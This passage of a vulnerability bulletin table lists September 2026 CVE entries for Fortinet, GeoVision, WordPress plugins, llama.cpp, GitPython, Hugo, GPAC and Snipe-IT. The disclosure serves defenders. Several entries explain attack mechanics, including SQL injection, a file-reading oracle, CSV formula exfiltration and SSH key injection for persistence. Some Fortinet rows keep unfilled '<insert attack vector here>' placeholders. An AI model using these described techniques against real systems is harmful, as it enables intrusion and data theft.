&lt;td&gt;An improper access control vulnerability in Fortinet FortiManager 7.6.0 through 7.6.4, FortiManager 7.4.0 through 7.4.10, FortiManager 7.2 all versions, FortiManager Cloud 7.6.2 through 7.6.4, FortiManager Cloud 7.4.1 through 7.4.10, FortiManager Cloud 7.2 all versions may allow an administrator to bypass the approval process for workflow sessions via crafted HTTP or HTTPs requests.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-22575&quot; target=&quot;_blank&quot;&gt;CVE-2026-22575&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fortinet--FortiSandbox&lt;/td&gt;
&lt;td&gt;A improper neutralization of special elements used in a command (&#039;command injection&#039;) vulnerability in Fortinet FortiSandbox 5.2.0, FortiSandbox 5.0.0 through 5.0.6, FortiSandbox 4.4.0 through 4.4.9 may allow attacker to execute unauthorized code or commands via &amp;lt;insert attack vector here&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84387&quot; target=&quot;_blank&quot;&gt;CVE-2026-84387&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fortinet--FortiSOAR on-premise&lt;/td&gt;
&lt;td&gt;A improper access control vulnerability in Fortinet FortiSOAR PaaS 7.6.0 through 7.6.6, FortiSOAR PaaS 7.5.0 through 7.5.3, FortiSOAR PaaS 7.4 all versions, FortiSOAR PaaS 7.3 all versions, FortiSOAR on-premise 7.6.0 through 7.6.6, FortiSOAR on-premise 7.5.0 through 7.5.3, FortiSOAR on-premise 7.4 all versions, FortiSOAR on-premise 7.3 all versions may allow attacker to escalation of privilege via &amp;lt;insert attack vector here&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84385&quot; target=&quot;_blank&quot;&gt;CVE-2026-84385&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;freeciv--freeciv&lt;/td&gt;
&lt;td&gt;Freeciv versions 3.1.0 through 3.2.5 contain an out-of-bounds read vulnerability in sg_load_player_unit() when processing savegame files with invalid unit activity indices. An attacker can craft a malicious savegame file with an out-of-range activity index that bypasses bounds checking and causes a crash or limited heap memory exposure when loaded.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90557&quot; target=&quot;_blank&quot;&gt;CVE-2026-90557&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--Froxlor&lt;/td&gt;
&lt;td&gt;Froxlor before 2.3.12 fails to properly validate multi-line SSH public keys in the SshKeys::add() endpoint, allowing customers to inject arbitrary lines into authorized_keys files. Attackers can inject malicious SSH key entries with option directives to gain persistent unauthorized access that survives key deletion and SSH access revocation.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90767&quot; target=&quot;_blank&quot;&gt;CVE-2026-90767&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FRRouting--FRRouting&lt;/td&gt;
&lt;td&gt;In FRRouting FRR before 8.5, the service user (usually frr) can escalate its privileges to root by monitoring the configuration directory (/etc/frr) and replacing config files upon creation with, for example, symlinks to change the ownership of arbitrary files. This is a TOCTOU Race Condition caused by a combination of touch and chown.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2022-42917&quot; target=&quot;_blank&quot;&gt;CVE-2022-42917&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 allows a Guest user to retrieve persistent device configuration containing plaintext administrative and user credentials through SSVR.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88269&quot; target=&quot;_blank&quot;&gt;CVE-2026-88269&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 allows a Guest user to enter SSVR firmware-upgrade mode and disrupt live services before any firmware image is validated.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88270&quot; target=&quot;_blank&quot;&gt;CVE-2026-88270&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 fails to restrict the filename supplied to BKDownloadLink.cgi, allowing a remote user with valid web credentials to read arbitrary files accessible to the root-run web service.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88288&quot; target=&quot;_blank&quot;&gt;CVE-2026-88288&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 copies oversized ONVIF CreateUsers username or password values into fixed stack fields, allowing an authenticated administrator to crash the ONVIF worker.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88279&quot; target=&quot;_blank&quot;&gt;CVE-2026-88279&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 copies an oversized ONVIF SetUser password into a fixed stack field, allowing an authenticated administrator to crash the ONVIF worker.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88280&quot; target=&quot;_blank&quot;&gt;CVE-2026-88280&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 fails to limit repeated Username elements in ONVIF DeleteUsers requests, allowing an authenticated administrator to overflow a stack array and crash the ONVIF worker.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88281&quot; target=&quot;_blank&quot;&gt;CVE-2026-88281&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 fails to limit repeated User elements in ONVIF CreateUsers requests, allowing an authenticated administrator to overwrite stack control state and crash the ONVIF worker.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88283&quot; target=&quot;_blank&quot;&gt;CVE-2026-88283&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPC2011/LPC2211 -&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 fails to limit repeated User elements in ONVIF SetUser requests, allowing an authenticated administrator to overwrite stack control state and crash the ONVIF worker.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88284&quot; target=&quot;_blank&quot;&gt;CVE-2026-88284&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-LPCLPC2011/2211&lt;/td&gt;
&lt;td&gt;GeoVision GV-LPC2211 V1.13 contains an authenticated stack buffer overflow in SSVR fragment reassembly that allows a valid user to crash the SSVR service.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88268&quot; target=&quot;_blank&quot;&gt;CVE-2026-88268&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;getwpfunnels--Mail Mint Email Marketing, Newsletter, Email Automation &amp;amp; WooCommerce Emails&lt;/td&gt;
&lt;td&gt;The Mail Mint - Email Marketing, Newsletter, Email Automation &amp;amp; WooCommerce Emails plugin for WordPress is vulnerable to SQL Injection via the &#039;status&#039; parameter in all versions up to, and including, 1.31.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. The $wpdb-&amp;gt;prepare() call does not protect against this injection because the attacker-controlled $contact_filter_query fragment is concatenated into the SQL format string before prepare() executes - prepare() only processes %s/%d placeholders and cannot sanitize content already embedded in the format string. REST API JSON bodies are parsed from php://input and bypass WordPress&#039;s wp_magic_quotes(), meaning double-quote characters in status array values reach the SQL sink unescaped. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The required &#039;mint_read_contacts&#039; capability is a plugin-specific capability not assigned to any default WordPress role; it must be explicitly granted by an administrator, making this effectively an Administrator+ vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19800&quot; target=&quot;_blank&quot;&gt;CVE-2026-19800&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;getwpfunnels--WPFunnels Funnel Builder for WooCommerce with Checkout &amp;amp; One Click Upsell&lt;/td&gt;
&lt;td&gt;The WPFunnels plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 3.12.13. This is due to the plugin registering the &#039;wpfnl_load_payment&#039; AJAX action for both authenticated and unauthenticated (wp_ajax_nopriv_) users and the underlying add_offer_product_to_cart() function performing no nonce verification, no capability check, and no validation that the attacker-supplied product_id is the offer product actually configured on the attacker-supplied step_id. This makes it possible for unauthenticated attackers to add arbitrary WooCommerce products to a cart at any discounted price configured on any funnel step, enabling price manipulation and revenue loss at checkout.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84908&quot; target=&quot;_blank&quot;&gt;CVE-2026-84908&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ggml-org--llama.cpp&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in ggml-org llama.cpp up to 0.4.0. This impacts the function rpc_server::deserialize_tensor of the file ggml/src/ggml-rpc/ggml-rpc.cpp of the component RPC Server. Performing a manipulation of the argument ne results in reachable assertion. The attack is possible to be carried out remotely. The reported GitHub issue was closed automatically due to inactivity.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86317&quot; target=&quot;_blank&quot;&gt;CVE-2026-86317&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ghera74--ilGhera Reviso Exporter for WooCommerce&lt;/td&gt;
&lt;td&gt;The Reviso Exporter for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check and missing nonce verification on the disconnect_callback() function in versions up to, and including, 1.2.3. The function is registered to the &#039;wp_ajax_wcefr-disconnect&#039; AJAX action and unconditionally calls delete_option(&#039;wcefr-agt&#039;), which removes the Reviso Agreement Grant Token used to authenticate API calls. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete the plugin&#039;s stored Agreement Grant Token, breaking the connection between WooCommerce and the Reviso service.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8615&quot; target=&quot;_blank&quot;&gt;CVE-2026-8615&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gitpython-developers--GitPython&lt;/td&gt;
&lt;td&gt;GitPython 3.1.59 fails to restrict the --no-index option in the high-level diff API, allowing attackers to read arbitrary filesystem paths as repository operands. Attackers can combine --no-index with -I/--ignore-matching-lines to create a content-dependent Boolean oracle, repeatedly querying local files to recover single-line secrets through distinguishable success or error responses.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87818&quot; target=&quot;_blank&quot;&gt;CVE-2026-87818&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gm_alex--User Access Manager&lt;/td&gt;
&lt;td&gt;The User Access Manager plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the &#039;tab_group_section&#039; parameter in all versions up to, and including, 2.3.18 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19797&quot; target=&quot;_blank&quot;&gt;CVE-2026-19797&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gohugoio--hugo&lt;/td&gt;
&lt;td&gt;Hugo is a static site generator. In versions after v0.123.0 and before v0.165.0, symlinks in parent directories were not dropped during direct resource lookups, allowing path confinement to be bypassed. An attacker who can place - or who convinces a site author to place - a symlink inside a mounted directory (for example, in a locally vendored theme under themes/) can cause functions that perform direct lookups, such as resources.Get and os.ReadFile, to follow that symlink and read files outside the intended project boundaries, disclosing their contents in the built site. Themes mounted as Go modules fetched from GitHub have symlinks stripped on download and are not affected, and multi-directory walks (e.g. content/asset walking) are not affected. This issue is an incomplete-fix follow-up to GHSA-c3wq-j5vh-68rc and GHSA-fw87-fv5r-9fpw; it is fixed in v0.165.0.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89258&quot; target=&quot;_blank&quot;&gt;CVE-2026-89258&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GongShengyue--OnlineBooks&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in GongShengyue OnlineBooks up to dfc5eacc08d3b0396c266049548618f6fb9587ea. This vulnerability affects unknown code of the file src/cn/ylcto/book/servlet/BooksServlet.java of the component listSplit Interface. The manipulation of the argument column results in sql injection. The attack may be performed from remote. The exploit is now public and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90511&quot; target=&quot;_blank&quot;&gt;CVE-2026-90511&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Site Kit by Google&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Request Forgery (CSRF) in Site Kit by Google &amp;lt;= 1.186.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62139&quot; target=&quot;_blank&quot;&gt;CVE-2026-62139&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in GPAC up to f1219cde. Affected by this vulnerability is the function gf_node_get_field of the file scenegraph/base_scenegraph.c of the component MP4Box. Performing a manipulation results in heap-based buffer overflow. The attack is only possible with local access. The exploit is now public and may be used. Upgrading to version abi-16.23 addresses this issue. The patch is named 49dee5cad329cfed310c1682703df7daa47df31a. The affected component should be upgraded.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90577&quot; target=&quot;_blank&quot;&gt;CVE-2026-90577&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A flaw has been found in GPAC up to f1219cde. Affected by this issue is the function gf_list_count of the file utils/list.c of the component MP4Box. Executing a manipulation can lead to use after free. The attack is restricted to local execution. The exploit has been published and may be used. Upgrading to version abi-16.23 can resolve this issue. This patch is called 49dee5cad329cfed310c1682703df7daa47df31a. It is suggested to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90578&quot; target=&quot;_blank&quot;&gt;CVE-2026-90578&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC v26.07.0&lt;/td&gt;
&lt;td&gt;An out-of-bounds read in the gf_dm_data_received function (downloader.c) of GPAC v26.07.0 allows attackers to cause a Denial of Service (DoS) via sending a crafted HTTP request. Fixed in 2fd5a06ab226767900fd86edb5a1e8bfc1010640.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79514&quot; target=&quot;_blank&quot;&gt;CVE-2026-79514&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC v26.07.0&lt;/td&gt;
&lt;td&gt;An out-of-bounds read in the gf_dm_get_chunk_data function (src/utils/downloader.c) of GPAC v26.07.0 allows attackers to cause a Denial of Service (DoS) via sending a crafted HTTP request. Fixed in 2fd5a06ab226767900fd86edb5a1e8bfc1010640.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79522&quot; target=&quot;_blank&quot;&gt;CVE-2026-79522&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC v26.07.0&amp;nbsp;&lt;/td&gt;
&lt;td&gt;A divide-by-zero vulnerability in the gf_dash_get_timeline_duration function (src/media_tools/dash_client.c) of GPAC v26.07.0 allows attackers to cause a Denial of Service (DoS) via a crafted MPD SegmentTimeline. Fixed in 2fd5a06ab226767900fd86edb5a1e8bfc1010640.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79513&quot; target=&quot;_blank&quot;&gt;CVE-2026-79513&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT before 8.7.1 fails to validate the length of the note field in the POST /account/accept/{acceptance} endpoint, allowing authenticated users to submit unbounded input that reaches synchronous CommonMark rendering. Attackers can submit large note values to exhaust PHP worker CPU and cause denial of service through resource exhaustion in the markdown parsing pipeline.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86734&quot; target=&quot;_blank&quot;&gt;CVE-2026-86734&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT through 8.6.3 does not neutralize formula elements in the &quot;unaccepted assets&quot; acceptance report CSV export. ReportsController::postAssetAcceptanceReport builds the CSV by hand (stripping commas and joining rows manually) and, unlike the six sibling exports in the same controller, never applies League\Csv\EscapeFormula or honors the config(&#039;app.escape_formulas&#039;) setting. An authenticated low-privilege user with ordinary create/edit rights on any record whose free-text fields appear in the report (asset name/tag, company name, category, model, or assignee display name) can set such a field to a value beginning with =, +, -, @, tab, or CR. When a user with reports.view privileges requests the export (POST /reports/unaccepted_assets) for a pending checkout acceptance referencing the poisoned record and opens the resulting CSV in Excel, LibreOffice Calc, or Google Sheets, the injected content is evaluated as a formula in the downloader&#039;s spreadsheet context, enabling data exfiltration (e.g., HYPERLINK/WEBSERVICE) or, on legacy Windows Excel configurations, DDE command execution. Fixed in 8.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86742&quot; target=&quot;_blank&quot;&gt;CVE-2026-86742&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT is an IT asset management application. In Snipe-IT master-branch builds after 8.6.3 (the code was never included in a tagged release), SettingsController::downloadLocationScopingReport streams the FMCS location-scoping mismatch report (GET /admin/settings/location-scoping-report.csv) through a bare fputcsv() call without applying League\Csv\EscapeFormula, unlike the other CSV exports which honor config(&#039;app.escape_formulas&#039;). An authenticated user with ordinary create/edit rights can place a spreadsheet formula in free-text fields that appear in the report (item name, asset tag, serial, item or location company name, location name) and arrange for the record to be FMCS-mismatched so it is included in the export. When a superuser downloads the report and opens it in Excel, LibreOffice Calc, or Google Sheets with formula evaluation enabled and external-content warnings dismissed or disabled, cells beginning with =, +, -, @, tab, or CR are executed in the victim&#039;s spreadsheet context, enabling data exfiltration (e.g., HYPERLINK/WEBSERVICE) or, on Windows Excel, legacy DDE command execution. This issue is fixed in version 8.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86745&quot; target=&quot;_blank&quot;&gt;CVE-2026-86745&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT before 8.7.0 contains an authorization bypass vulnerability in Livewire components that enforce authorization only at the route level, not within component lifecycle methods. Attackers with a valid authenticated session can replay signed component snapshots via POST /livewire/update to invoke protected methods and escalate privileges, including creating OAuth clients, minting personal access tokens, and accessing sensitive admin data.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86746&quot; target=&quot;_blank&quot;&gt;CVE-2026-86746&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT versions before 8.7.0 wipe the database before validating the uploaded backup archive in the restore endpoint. Superusers uploading corrupted or invalid zip files trigger permanent data loss with no recovery path or rollback mechanism.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86748&quot; target=&quot;_blank&quot;&gt;CVE-2026-86748&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT versions &amp;lt;= 8.6.3 (fixed in 8.7.0) do not check the return value of storage write operations in ImageUploadRequest::handleImages(). Because Laravel&#039;s default disk mode does not throw on failure, a silently failed Storage::disk(&#039;public&#039;)-&amp;gt;put(...) call still caused the application to delete the previous image via deleteExistingImage() and to reassign and persist the model&#039;s image reference to the new filename, destroying the existing image and leaving the database row pointing at a file that was never written. A mirror problem existed in deleteExistingImage(), where a failed Storage::delete() still nulled the model&#039;s image field, orphaning the file on disk. The condition is not directly attacker-controlled: it is triggered when any legitimate authenticated user submits an image upload while the storage backend transiently fails (for example an S3 network error, a local filesystem permission problem, or quota exhaustion). The result is unrecoverable loss of the prior image and a durable inconsistency between the database and disk that requires manual reconciliation. All models whose controllers route through ImageUploadRequest::handleImages (assets, asset models, users, companies, manufacturers, locations, categories, suppliers, departments, and other image-carrying models) are affected.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86749&quot; target=&quot;_blank&quot;&gt;CVE-2026-86749&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT 8.5.0 through 8.6.3 contains an open redirect vulnerability in its SAML assertion-consumer endpoint (SamlController::acs, POST /saml/acs). The endpoint wrote the RelayState POST parameter directly into Laravel&#039;s url.intended session key with only CR/LF characters stripped, and LoginController later issued redirect()-&amp;gt;intended(), which passes an absolute URL through to the Location header unchanged. An unauthenticated attacker who induces a user of a SAML-SSO-enabled instance to visit a crafted IdP-initiated SSO link can therefore cause the victim&#039;s browser to be redirected to an arbitrary absolute external URL immediately after a successful authentication, which the advisory notes facilitates credential-harvesting phishing. No account on the target instance and no compromise of the identity provider are required. Only deployments with SAML SSO enabled are affected. Fixed in 8.7.0 (commit d30b73d, PR #19386), which validates RelayState via a new Helper::sameOriginUrl check before storing it.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86756&quot; target=&quot;_blank&quot;&gt;CVE-2026-86756&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
